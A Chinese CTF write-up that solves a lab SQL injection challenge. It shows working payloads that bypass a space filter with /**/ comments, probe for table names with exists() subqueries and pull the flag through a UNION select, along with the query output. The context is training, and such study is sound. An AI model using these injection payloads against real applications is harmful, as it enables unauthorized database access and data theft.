实验吧CTF刷题记录(web篇四)

1.简单的sql注入之2

有回显的mysql注入

格式:flag{}

解题链接: http://ctf5.shiyanbar.com/web/index_2.php


尝试输入单引号,出现错误

输入id=1' or ''='  出现SQLi detected! 接着尝试输入or,没有出现SQLi detected字样,输入空格,出现SQLi detected。


可以发现此题对空格进行了限制。

试着用/**/代替空格。 输入id=1'/**/or/**/''='

ID: id=1'/**/or/**/''='
name: baloteli
ID: id=1'/**/or/**/''='
name: kanawaluo
ID: id=1'/**/or/**/''='
name: dengdeng
可以看到sql语句成功执行了。

接着输入 ?id='/**/or/**/exists(select/**/*/**/from/**/admin)/**/and/**/''='  猜测表名

出现 Table 'web1.admin' doesn't exist
试一下flag   ?id='/**/or/**/exists(select/**/*/**/from/**/flag)/**/and/**/''='

ID: ?id='/**/or/**/exists(select/**/*/**/from/**/flag)/**/and/**/''='
name: baloteli
ID: ?id='/**/or/**/exists(select/**/*/**/from/**/flag)/**/and/**/''='
name: kanawaluo
ID: ?id='/**/or/**/exists(select/**/*/**/from/**/flag)/**/and/**/''='
name: dengdeng

查询成功,存在flag表

这里可以猜到有id 和name两个列

接下来使用union查找 ?id='/**/union/**/select/**/flag/**/from/**/flag/**/where/**/''='

得到flag值。

附上p神wp里的细节(这里ID很明显是自己所注入的语句,只有name才是当前表里面的数据,这里可以留个心眼。当前表估计只查找一列)





你可能感兴趣的:(实验吧CTF刷题记录(web篇四))